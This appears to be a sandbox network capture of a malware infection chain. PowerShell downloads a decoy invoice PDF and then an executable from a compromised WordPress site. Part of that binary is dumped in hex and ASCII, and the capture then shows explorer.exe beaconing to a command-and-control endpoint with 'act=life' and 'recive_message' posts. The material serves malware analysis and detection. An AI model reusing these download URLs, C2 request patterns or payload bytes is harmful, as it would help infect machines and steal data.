2024-12-16 14:18:06 UTC	8192	IN	Data Raw: a0 d9 c5 dc 4d a8 de c1 d9 c3 dc 4d c8 de c1 d9 c2 dc 4d d0 de c1 d9 c1 dc 4d b0 de c1 d9 9d dc fe ff ff d9 c3 dc 4d f8 d9 c5 dc 4d e0 de c1 d9 c3 dc 4d e8 de c1 d9 c2 dc 4d f0 de c1 d9 c1 dc 8d 28 ff ff ff de c1 d9 5d f4 d9 c3 dc 8d 20 ff ff ff d9 c5 8b 45 08 dc 4d 98 de c1 d9 c3 dc 4d 90 de c1 d9 c2 dc 4d 88 de c1 d9 c1 dc 4d 80 de c1 d9 5d ec d9 c3 dc 8d 78 ff ff ff d9 c5 dc 8d 70 ff ff ff de c1 d9 c3 dc 8d 68 ff ff ff de c1 d9 c2 dc 8d 60 ff ff ff de c1 d9 c1 dc 8d 58 ff ff ff de c1 d9 5d e4 dd 85 30 ff ff ff de cc dd 85 50 ff ff ff de cd d9 cb de c4 dd 85 48 ff ff ff de ca d9 cb de c1 dd 85 40 ff ff ff de cb de c2 dc 8d 38 ff ff ff de c1 d9 5d fc dd 45 d8 dc 4d a0 dd 45 a8 dc 4d b8 de c1 dd 45 c0 dc 4d c8 de c1 dd 85 c8 fe ff ff dc 4d d0 de c1 dd 85 Data Ascii: MMMMMMMM(] EMMMM]xph`X]0PH@8]EMEMEMM
2024-12-16 14:18:06 UTC	8192	IN	Data Raw: 00 89 35 84 18 41 00 39 35 38 1d 41 00 75 1b 68 10 13 40 00 68 e8 12 40 00 e8 d1 07 00 00 59 59 c7 05 38 1d 41 00 02 00 00 00 85 ff 75 09 33 c0 b9 34 1d 41 00 87 01 83 3d 44 1d 41 00 00 74 23 68 44 1d 41 00 e8 e3 05 00 00 59 85 c0 74 14 53 6a 02 53 8b 35 44 1d 41 00 8b ce ff 15 4c 24 41 00 ff d6 a1 b4 23 41 00 8b 08 85 c9 74 82 89 4d e0 6a 20 5e 8b 55 e4 0f b7 01 66 3b c6 77 4f 66 85 c0 74 19 85 d2 75 46 66 85 c0 74 10 66 3b c6 77 0b 83 c1 02 89 4d e0 0f b7 01 eb eb f6 45 c4 01 74 06 0f b7 45 c8 eb 03 6a 0a 58 50 51 53 68 00 00 40 00 e8 e0 58 ff ff a3 80 18 41 00 83 3d 98 18 41 00 00 75 4f 50 ff 15 9c 23 41 00 83 f8 22 75 0c 33 c0 85 d2 0f 94 c0 8b d0 89 55 e4 83 c1 02 89 4d e0 eb 90 8b 4d ec 8b 01 8b 00 89 45 dc 51 50 e8 f9 03 00 00 59 59 c3 8b 65 e8 8b Data Ascii: 5A958Auh@h@YY8Au34A=DAt#hDAYtSjS5DAL$A#AtMj ^Uf;wOftuFftf;wMEtEjXPQSh@XA=AuOP#A"u3UMMEQPYYe
2024-12-16 14:18:06 UTC	8192	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	208.91.198.106	443	1892	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:18:10 UTC	124	OUT	GET /wp-content/plugins/jetpack/modules/likes/KlarnaInvoice42611.pdf HTTP/1.1 Host: agrizone.ae Connection: Keep-Alive
2024-12-16 14:18:10 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:18:10 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Last-Modified: Mon, 16 Dec 2024 12:51:56 GMT Accept-Ranges: bytes Content-Length: 114905 Content-Type: application/pdf
2024-12-16 14:18:10 UTC	7959	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 0a 25 b5 b5 b5 b5 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 2f 50 61 67 65 73 20 32 20 30 20 52 2f 4c 61 6e 67 28 65 6e 29 20 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 31 38 20 30 20 52 2f 4d 61 72 6b 49 6e 66 6f 3c 3c 2f 4d 61 72 6b 65 64 20 74 72 75 65 3e 3e 2f 4d 65 74 61 64 61 74 61 20 31 34 36 20 30 20 52 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 31 34 37 20 30 20 52 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 32 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 73 2f 43 6f 75 6e 74 20 32 2f 4b 69 64 73 5b 20 33 20 30 20 52 20 31 35 20 30 20 52 5d 20 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 33 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 2f 50 61 72 65 6e Data Ascii: %PDF-1.7%1 0 obj<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 18 0 R/MarkInfo<</Marked true>>/Metadata 146 0 R/ViewerPreferences 147 0 R>>endobj2 0 obj<</Type/Pages/Count 2/Kids[ 3 0 R 15 0 R] >>endobj3 0 obj<</Type/Page/Paren
2024-12-16 14:18:11 UTC	8000	IN	Data Raw: c8 8b 02 e7 50 e1 b9 c2 28 15 85 f3 c9 68 20 7d 77 d7 fa 69 34 4f 18 9b fd 31 de 42 2b ac 39 04 d5 dc d1 29 ed 40 b2 c9 b0 15 73 74 44 85 61 15 73 c2 94 8e f8 f0 a9 70 5c 8b 3e c7 88 e5 64 70 97 37 51 c5 70 15 93 0a 51 c5 48 b9 7f 96 2c 8e 9a 54 b8 e3 85 e5 d2 70 e7 ad a8 92 78 83 69 40 06 19 a5 52 aa 99 7e a1 b7 98 6b 65 10 53 6a e2 c1 97 09 7e 98 43 46 e9 f0 0f 9b 8c 5a 71 a5 51 ea e4 c1 27 c3 71 a5 51 ea e5 c1 27 03 db 01 cc 5a 78 8b ed 3c d8 04 05 cb 95 cb 69 77 67 71 d0 ed ed c3 a2 b6 ae f1 5c bd 91 f4 94 da 63 f2 77 bd 18 77 7b 45 77 6c 67 61 1b 89 29 0d c9 55 c7 54 0d 97 0c c9 c9 6c 54 f5 6f a1 a2 8a 39 85 d1 a6 a4 a2 af b7 a2 5a a2 d8 c3 23 aa 25 5a 71 c9 10 1d 1e 8d db 0d 77 1c 77 42 07 01 bb ba fd c8 0f 75 c0 e5 69 7d 32 6e 99 d9 a4 9b 66 de 22 Data Ascii: P(h }wi4O1B+9)@stDasp\>dp7QpQH,Tpxi@R~keSj~CFZqQ'qQ'Zx<iwgq\cww{Ewlga)UTlTo9Z#%ZqwwBui}2nf"
2024-12-16 14:18:11 UTC	8000	IN	Data Raw: 71 60 70 a8 78 b4 73 d7 ee 37 de 7c f3 f6 9d bb c5 a3 2f 0f 1e 9c f0 c6 1b b7 da da 8b 47 27 4e 9c 7c 7d c2 84 2b 57 af 15 8f aa ce 57 bf fa da 6b b5 75 17 8b 47 97 2f 37 8e 7f fd f5 33 67 cf 15 8f 6e b4 b4 a6 a3 a3 47 8f 15 8f 3a bb ba d3 d1 fe 03 07 8a 47 bd 7d fd e9 68 c7 e7 3b b3 9f 75 fa 08 37 6c d8 98 3d 9a 3c 79 ca ca 8a 8a ec d1 b4 69 d3 b2 f7 92 2a 2d 2b 9b 5d 52 32 da bd 7c f8 40 f7 f2 da 6b e3 b3 47 e9 5e c6 8e 1b d7 3f 30 58 3c 3a f0 e5 c1 71 e3 5e ed ea be 5d 3c 3a 76 fc c4 ab af be da d2 da 5a 3c 4a 8f 3d bd af 8b f5 f5 c5 a3 fa 86 4b 13 26 bc 71 f6 5c 55 f1 28 5d 71 fa f2 38 76 ec 78 f1 28 bd 0c 27 4e 7c 2b 7b 2f dd b7 ef bc 35 69 52 f6 5e fa fa 07 d2 d3 d8 b0 71 e3 c8 fd af b3 f7 52 51 59 99 3d 9a 36 6d fa 82 85 0b 87 86 86 b3 f7 92 5e 32 Data Ascii: q`pxs7\|/G'N\|}+WWkuG/73gnG:G}h;u7l=<yi*-+]R2\|@kG^?0X<:q^]<:vZ<J=K&q\U(]q8vx('N\|+{/5iR^qRQY=6m^2
2024-12-16 14:18:11 UTC	8000	IN	Data Raw: 64 36 bf 0c 74 77 2e d6 ee 2f 31 7a c7 e0 99 f6 97 72 44 88 bf 73 3a e8 a5 f3 4b 0c 7a 31 95 d4 cc 25 62 4d fb 4b 0c 9b 9d d9 12 2b cd 65 61 35 97 66 59 9c e6 12 7f eb fa f3 cb 47 92 4b 7f 67 47 da d4 69 2e ed b7 ad 60 d7 e4 52 16 47 13 9d aa 3d ef 47 e2 47 c7 76 d4 cc a5 ad 7a 3d 56 7f 9d 1c 9d ab 7e 2e f1 a4 c5 d1 a4 e9 aa 69 28 eb 5c 91 4b da d4 69 2e 5b 3a d6 b1 4e 8e 25 56 9a 78 3a 8e ad 6b 9d 1c 93 7b da 5f 8e 8d 0f 36 b2 79 3f cd 25 3e ae a7 76 2e 31 c6 a6 5b 92 8d cb 25 9d f7 97 2b f6 2f eb ca a5 a7 a3 3d 9d 32 2a 73 99 aa 9b 4b 34 7e 3a bf 54 ad c7 ee be bf c4 2f d8 1d d6 63 35 73 89 71 6c b9 a8 8c a4 46 b2 71 6c 60 c3 72 89 e2 18 96 37 a2 bf b4 55 ac c7 d6 b5 af 3c 35 35 d2 95 cd 2f 07 b2 5c e2 49 13 8f 5c 92 a6 9e 1e 8f 01 bf 2c 1e af d8 bf 8c Data Ascii: d6tw./1zrDs:Kz1%bMK+ea5fYGKgGi.`RG=GGvz=V~.i(\Ki.[:N%Vx:k{_6y?%>v.1[%+/=2*sK4~:T/c5sqlFql`r7U<55/\I\,
2024-12-16 14:18:11 UTC	8000	IN	Data Raw: ab f9 0f 71 f5 67 b2 fa 21 36 7f ef 5f 94 fc df 33 3a 31 f9 bb 34 2b 0c ff 5e e9 c9 e8 b6 69 fe de 4f 7e b2 c9 cf 37 93 13 d7 df d0 bb e2 c3 cd de fb 1f cf e8 2f 58 59 f7 cd e6 ef c4 dc df fb c9 95 64 73 e2 8d 4d ff 1b 5f fd 23 23 a3 97 74 fd f7 4a cd ea 62 72 2f 65 f6 43 fc 56 f2 2e c8 fd bd df e4 bf 2c 84 7d ef 97 6f bd a6 fc ae 13 86 7f c3 ef ff d9 1b 85 29 80 b6 d7 3e 61 ea bc 37 f7 ce 3d bf e9 97 1f 63 8c 31 c6 18 63 cc d8 9d 9f cf 2a bf eb 4d c3 bf e1 f7 dd f4 72 61 0a a0 ed ed df d9 f1 d3 63 5f 76 eb 71 af fc d7 17 fe 59 d1 d7 32 0a 61 ca 18 63 8c 31 c6 98 36 1c 61 0a 80 f1 40 98 32 c6 18 63 8c 31 a6 0d 47 98 02 60 3c b8 e2 9c c3 85 29 63 8c 31 c6 18 63 da 6d 84 29 00 c6 83 4b ce 3a 54 98 32 c6 18 63 8c 31 a6 dd 46 98 02 60 3c 10 a6 8c 31 c6 18 63 Data Ascii: qg!6_3:14+^iO~7/XYdsM_##tJbr/eCV.,}o)>a7=c1c*Mrac_vqY2ac16a@2c1G`<)c1cm)K:T2c1F`<1c
2024-12-16 14:18:11 UTC	8000	IN	Data Raw: 99 3e e2 fb 4f 1d 7b c8 85 fb 7f c7 ef 63 c9 01 61 4a 3b 84 29 09 08 53 da 21 4c 21 22 22 46 53 c2 14 00 40 44 28 e9 32 e0 10 a6 b4 43 98 92 80 30 a5 1d c2 14 22 22 62 34 25 4c 01 00 40 a0 20 4c 69 87 30 25 01 61 4a 3b 84 29 44 44 c4 68 4a 98 02 00 80 40 41 98 d2 0e 61 4a 02 c2 94 76 08 53 88 88 88 d1 94 30 05 00 00 81 82 30 a5 1d c2 94 04 84 29 ed 10 a6 10 11 11 a3 29 61 0a 00 00 02 45 8e 30 35 f1 6c 67 f6 3b a9 ea 0a 6d 56 2d 4c cc be 3d f6 cf 09 bd 8c cf fa 83 ce 95 1e 3a 4b e7 b8 0f de 77 31 39 f7 3e a1 45 bb 62 66 ec 9f 57 f4 5d b4 16 3e 2b b4 68 2d 7c a6 ef 9c 7b 0c 4e c5 9b 42 8b c9 b9 f7 7a 9e 44 67 e9 6c a1 c5 f8 ac eb fa 2e 26 66 df 91 aa 5a 24 31 e7 7c 32 cf eb 25 9d 90 5c 30 5d e8 09 da 8b 5f f5 5c 74 ff 73 a9 93 b8 60 ba f7 65 b3 f4 43 a1 c5 Data Ascii: >O{caJ;)S!L!""FS@D(2C0""b4%L@ Li0%aJ;)DDhJ@AaJvS00))aE05lg;mV-L=:Kw19>EbfW]>+h-\|{NBzDgl.&fZ$1\|2%\0]_\ts`eC
2024-12-16 14:18:11 UTC	8000	IN	Data Raw: 15 86 29 00 00 80 62 c3 30 45 f4 c2 30 05 00 11 b1 67 45 c5 1e 15 e3 ab c6 17 fa 71 e4 c3 30 05 00 00 50 6c 18 a6 88 5e 18 a6 00 20 0a f6 aa a8 78 e4 c4 e3 1e 3f f9 e3 17 1c 71 48 a1 1f 4b 1e 0c 53 00 00 00 c5 86 61 8a e8 85 61 0a 00 a2 60 42 55 65 db 94 c9 de d4 d3 e6 4e 9a 58 e8 c7 92 07 c3 14 00 00 40 b1 61 98 22 7a 61 98 02 80 28 60 98 02 00 00 c0 98 31 4c 11 bd 30 4c 01 40 14 30 4c 01 00 00 60 cc 18 a6 88 5e 18 a6 00 20 0a 18 a6 00 00 00 30 66 0c 53 44 2f 0c 53 00 10 05 a5 38 4c 25 6b 2f f7 5a e6 ef 98 74 ef b2 42 7f 28 03 00 00 88 a2 54 d7 ff ec f4 c1 2c 24 75 d7 27 d7 7e cd 6b fc 79 fe ff 4b a9 d4 4c 4b ae ff b6 d7 7c 9f bb c6 f5 df f1 36 5d e0 b5 cc 73 54 d7 74 6f 72 ed d9 de e6 9f ba 7b 82 b1 db 92 6b ce b4 7f 75 d7 68 3f e4 af 39 83 61 0a 00 ca Data Ascii: )b0E0gEq0Pl^ x?qHKSaa`BUeNX@a"za(`1L0L@0L`^ 0fSD/S8L%k/ZtB(T,$u'~kyKLK\|6]sTtor{kuh?9a
2024-12-16 14:18:11 UTC	8000	IN	Data Raw: 10 42 48 49 86 61 8a 8c 29 0c 53 00 10 05 0c 53 6e 30 4c 11 42 08 21 24 ba 61 98 22 63 0a c3 14 00 44 01 c3 94 1b 0c 53 84 10 42 08 89 6e 18 a6 c8 98 c2 30 05 00 51 c0 30 e5 06 c3 14 21 84 10 42 a2 1b 86 29 32 a6 30 4c 01 40 14 30 4c b9 c1 30 45 08 21 84 90 e8 26 74 98 fa c1 e9 89 39 df 4e 3c f0 3d 42 de 91 79 e7 27 e6 4f 1d 4c ea f5 49 0c 53 00 50 f6 18 a6 dc 60 98 22 84 10 42 48 74 13 3a 4c 5d f4 d5 f8 9f a7 17 fe b1 91 22 4e 6a d5 e7 18 a6 00 a0 ec ed 5d 59 f1 c2 97 4e 78 e3 2b 93 ae 9c f8 2f 85 7e 2c 79 30 4c 11 42 08 21 84 94 64 18 a6 c8 98 c2 30 05 00 28 2a 0c 53 84 10 42 08 21 25 19 86 29 32 a6 30 4c 01 00 8a 0a c3 14 21 84 10 42 48 49 86 61 8a 8c 29 0c 53 00 80 a2 c2 30 45 08 21 84 10 52 92 61 98 22 63 0a c3 14 00 a0 a8 30 4c 11 42 08 21 84 94 64 Data Ascii: BHIa)SSn0LB!$a"cDSBn0Q0!B)20L@0L0E!&t9N<=By'OLISP`"BHt:L]"Nj]YNx+/~,y0LB!d0(*SB!%)20L!BHIa)S0E!Ra"c0LB!d
2024-12-16 14:18:11 UTC	8000	IN	Data Raw: ea a8 7a d0 ca 79 f5 33 96 9f 58 ff d5 4b 4f a9 a1 5a 78 5a 7d bc e7 9e dd bf de b1 aa d6 64 d6 ba 81 ad 3b 6a 4d a6 5e 30 b2 fe 3d 36 d6 3b 0e 68 dd 31 a6 75 c7 c8 d5 f5 8e 21 e7 d6 3b 7a ce a9 7f 8f 01 67 d7 bf 47 bf 65 ef dc 71 72 fd 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 b3 69 4d bf 32 d6 5f d0 55 c6 8a 4b ea 38 fd ea fe 65 2c fa e2 80 32 e6 6e 1f 58 c6 51 3b 46 96 31 73 fb f8 32 a6 6e 9b 54 c6 c1 37 4c 2f 63 fc f5 47 94 31 fa da d9 65 0c db 72 42 19 3d 57 2d 29 a3 eb f2 e5 f5 e3 37 ad ae 9f ba 7e 63 fd b0 15 9b ba eb 1d 97 f5 d4 3b ae 19 54 ef d8 3a b8 8c cf 6e 1f 55 c6 61 3b ea 1d 93 6f aa 77 f4 ee 76 c7 98 6b ea 1d 23 ae aa 77 0c be 6c 69 19 dd 97 ac e8 e8 03 c0 fb db bc ae Data Ascii: zy3XKOZxZ}d;jM^0=6;h1u!;zgGeqrxiM2_UK8e,2nXQ;F1s2nT7L/cG1erB=W-)7~c;T:nUa;owvk#wli
2024-12-16 14:18:11 UTC	8000	IN	Data Raw: 27 19 40 1c c9 48 4e 32 80 38 92 91 9c 64 00 71 24 23 39 c9 00 e2 48 46 72 8b 7c f8 f9 f1 1b 0e 6f b5 9d 64 40 d1 24 23 39 a7 bf 81 38 92 91 9c 64 00 71 24 23 39 c9 00 e2 48 46 72 92 01 c4 91 8c e4 24 03 88 23 19 c9 49 06 10 47 32 92 5b e4 2f d9 fe bd 93 7f ac d5 76 92 01 45 93 8c e4 86 27 63 ee fe c7 7e a7 d5 76 92 01 45 93 8c e4 9c fe 06 e2 48 46 72 92 01 c4 e9 30 19 2f 5f 4d ff b6 4a 06 10 a6 bb 64 fc e0 6b b7 d2 bf 6d 92 01 84 e9 2e 19 8c 09 c9 00 a2 74 97 8c 67 6e fa 22 fd 7b 40 32 80 30 dd 25 63 db d1 fb d0 bf 1b 86 26 63 f9 45 6f 3a a9 d5 7d 95 0c 28 5a a7 7f 63 ea a0 e3 e8 c7 ec 8e 1b e1 f4 37 10 a7 d3 64 fc d2 36 fa b1 df 8e 1b 21 19 40 9c 4e 93 71 71 df df 5d b1 d6 ed b8 11 92 01 c4 91 8c 94 24 03 e8 82 64 a4 24 19 40 17 24 23 25 c9 00 ba 20 19 Data Ascii: '@HN28dq$#9HFr\|od@$#98dq$#9HFr$#IG2[/vE'c~vEHFr0/_MJdkm.tgn"{@20%c&cEo:}(Zc7d6!@Nqq]$d$@$#%
2024-12-16 14:18:11 UTC	90	OUT	GET /wp-content/plugins/jetpack/modules/likes/JIKJCBEX.exe HTTP/1.1 Host: agrizone.ae
2024-12-16 14:18:12 UTC	8192	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:18:11 GMT Server: Apache Last-Modified: Mon, 16 Dec 2024 12:48:50 GMT Accept-Ranges: bytes Content-Length: 2073531 Content-Type: application/x-msdownload MZ`@`!L!Require Windows $PEL~&L0@03P0.text `.rdata002@@.data,)pH@.rsrcP@@USVWj'uv=`2A6PPe~v8^3h3APPPp1AEE;FrP,fY-j t1At$l39wAt@9D$tt$Ph5wA2A3D$`\|$u@3D$VtPQ^T$Vt$f BBFFfu^L$3f9t@f<AuS\$VC;^tLW3jZQ 39FY~9F~fAfG@;F\|6 YF>f$G^_^[UQQlwAuVjjEP5wAl1At>E;Ew6rE;Es,jPHeYYt(wAj@ lwAEPjh5wA2A3D$t(wA@:Vt$W~ ?tNF0PK u~tv<v$h1A_3^UVud1A}juuv$j}iuv$jjduVP^]=hwAtj`1A=wAtL$AVQ3=wAQjjPR=hwAtj5wA82A^V3W\|$FFw76GYYF_^Vff Wt$YWt$6YY~_^VW\|$;t#ff w76rGYYF_^S\$VWy+qN;~0@~+3H0;}+WO_^[VW\|$wF7APGFYY_^V3jFF^VjeFfT$fAFFf$A^UuMuMuE]jt$t$@UhLAuYYtEMPQ3h 3AuYYu@]L$IAujP3VN03AZD$tVY^UQVWuNru~j\3EPWVh@WW5 wA=(wAT1A=hwA$wAtcj5$wAX1A(wA;=wAt2t!ttg~j~}PjKjjjWaYYd9=wAu\EP5$wA\1AMt;u3B#;tQj!W"u=lwAtQd1Auj"j^a@_^ULSW39=wAt @>VuN MpFURjuf}f}PQ;tM0Mf9}f}uMEPFPEP^$Pu/9}YoFURjuf}f}PQ;EtMu}Y^f9}u~<-f}t jeVPMruY,EF<FURjuPQ;Eu3f9}URjuF8FPQ;EtMue}YE;t@tjfqEF0EF4EP0AF0PEPL1A9~8t3lY>jh/N0QPYY%j;Ytx03AH3PMFFjQHxxP1ASMEEP;Y};ujjVP ujE;YtPQMuLYMf<AuEYu jhVPFjSHxxbuP1APjjVS uYuMVnEM0#E8>P1APjiVW E8uYMK3jdVPuYM,^_[Vjt$<0Au0P1A;tPd1A3^t$80AtuV3@^< uPpA< t<tt<t33@UQEjEEPjEPjEE D0AP@0AD$Hfw0HfwWHfw7Vt$PYxFPY\|^^UQQe}SVW~L}E542A+EE8ft-f?t'PPf;uEEGG;E\|M39M_^[}EPEP+hjt$H0A%1AUVW3VVL0APVVjjjjVh\3AhL3AVT2A;t3VjjWP2AVVVEPL2AEPH2AjW@2AW<2A_^St$d2Au[VW\|$Wt$\2A5X2AWSWS_3^@[UDSVWjL0A5d0A,wAPuuSuhuuSt&ut WS`0AWS\0AtPX0Az=<wAuo5T0Ah3A3AS<wA=P0APjE,wAhjPEh3AP`2A}uh`3ASPEtjEPjU3_^[U,SVW3W2AjXPE$0A}j`X5h0Aj`jdPv\|=j[j=j[j_EPju 0AWSuWSuEu50AEuu50ASuEuu0APWjWE0Ah u3uPPSuuPPW0AjW0AuESuW500ASWujD2AEuWD2AWWWWu2A_^[UhSVWj@EPu2A-h3AEPt0Aju2AEPu2APh3A3;}uj@p0AuSWV3AEPVW3A9uEPhLAVVu2AEPQWl0AE;tfURuPQ9ut?uYMQjPE 0AjuuVVVu2AuVhru2AEPQ3@Wl0A3_^[f=,wAuD0Af,wA,wAfft\|0Af=ux0A`@A;uf,wA,wAUSV339XpAtXpAM9tFXpA9u9XpAu \3ArW=P1AuEEh3AP`2ASS0AEPEuxE3jZQYMAQPEEP;Ew@u:dpAt%}WP0AtdpAdpAWEdpAujYud1AdpA\pA`pA9t;`@AuS0AG3jZGQ=TpAYdpAu:%TpAjXP,wAhP0A~XP1AYTpAGPdpAWSj5TpA0AdpA_^[=XpAt VdpAt P&Y~u^=0wAth3Ah3AT0APP0At54wA%0wA%0wAh4Ah3AT0APP0Ath4wA0wAU$Vuu3@Lh44Ah3AT0APP0Au)MQf}uuf}u3@;t3^UEVpEtKQ;SW}=3~'4<;y}}?ff;Wu}BFF;W\|uv;t@;A\|_[^]S\$VC;^t9WS?39FY~9F~8@;F\|6YF>^_^[S\$VWy+qN;~0@~+3H0;}+Wp_^[QL$+THRQL$HP1AT$Vt$ BFu^V2<1 tA;J\|2^PpA^$u;ut;B\|2S\$VWu33\|$Gt$P0AtF;w\|3_^[t3GVv6YY^t$t$t$t@3U@}u3lwAE@uEEP0At7M3;w.rE;Es$j+PoRYYtlwAlwA3@t$Yujht$j0At$jYu%1AV3Wt$FFYWt$6YY~_^D$V;F\|P^VWt$YW3Ft$AP~YY_^AtfT$DA;tHHf9u+V3jFF^V&ffjL$@F^V3W\|$FFw76UGYYF_^D$V;F\|Pv^VjNT$FF^VW\|$WWNu_^D$Bft@@f;L$u+VL$FW\|$9;~+~9PQk)~F_^SVt$WG9~\$SPP7_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,0Af$A^G[_USVu)E39Xt2W [TRUNCATED] jMFV50AW}juPuuY7S@PPMPSuVf$FYEEP*VY[_^U SVW}3SSSSWPEu50AXuEE3]]]}MQ+Q5QWPE;3E8]t=+E;w`uuu'E:EtuM5GE+E;w#uuuuEEE+}V=]PP1A9]w}"M39Y2_^[UQM&=t uMMtEU=wAujzVWMEu< t<tPM7GuhEPEP}_^uu5PpAjj4Mj j&MuuY2YU4VWME0>fS^f~Ff=xufSY\|[PMMSjEPEPaPMuYEPMuuYYKFf=Xu4S?YE\|&FP.Y\|3mQMWMFFCC>f/[MEPuY_^U\SVWuMlhT4AM}PW0A5h1AuM_j\MUPMj}t5hP4AP0At3hH4AP0AtWXYjWtKW0At@PS0AqS0Ajutu0AtW3@W3Y_^[=wAt3@Vt$V80Au3@^ujVh1AtV0A^3^VY^S\$cf Vt$Wj_f= w fuf>,uftMf=,tGf={u0{t+uFf8}tF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49873	104.21.64.1	443	4456	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:19:26 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: abrasigehs.my
2024-12-16 14:19:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 14:19:27 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:19:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rruitbtef5j61jrktfdmf9odpa; expires=Fri, 11-Apr-2025 08:06:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZwhpfAJV%2BejpfdB12UCP28Rq1HO2DiXGecjI2Iu%2FKM5FYLIs%2B1vLEHr8v867AnKwHPsUQfbxoGey4rdO6lIUT8F2ORrhJ5guQxB6%2FPB0%2Fx3VbfXAqToBYGsAGsuC9bNF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f4ef2efdec358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1667&min_rtt=1662&rtt_var=633&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1714621&cwnd=155&unsent_bytes=0&cid=4b8218ba149a7140&ts=1017&x=0"
2024-12-16 14:19:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 14:19:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49879	104.21.64.1	443	4456	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:19:28 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: abrasigehs.my
2024-12-16 14:19:28 UTC	82	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 41 42 31 35 67 31 2d 2d 4e 45 57 42 75 69 6c 64 26 6a 3d 33 32 66 63 32 34 37 63 65 65 35 63 37 36 32 61 37 61 66 36 66 36 33 30 34 32 61 32 63 62 63 36 Data Ascii: act=recive_message&ver=4.0&lid=AB15g1--NEWBuild&j=32fc247cee5c762a7af6f63042a2cbc6
2024-12-16 14:19:29 UTC	1001	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:19:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ccmb2gdn2k0cndloh526bli5ih; expires=Fri, 11-Apr-2025 08:06:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nsMqtaF40WN1AJGVwBikl8qTfRQRgW8Pnd9aUNGF75CJkLVVPPoC3lauyA9KQ26x1VMwDdD0IPwBJsMD2TWFa1qjQU3QQd6DmhK3dmWmm6mORYKZnPGNFFL%2Ff1SKmMSH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f4f00eca18ca1-EWR alt-svc: h3=":443"; ma=86400 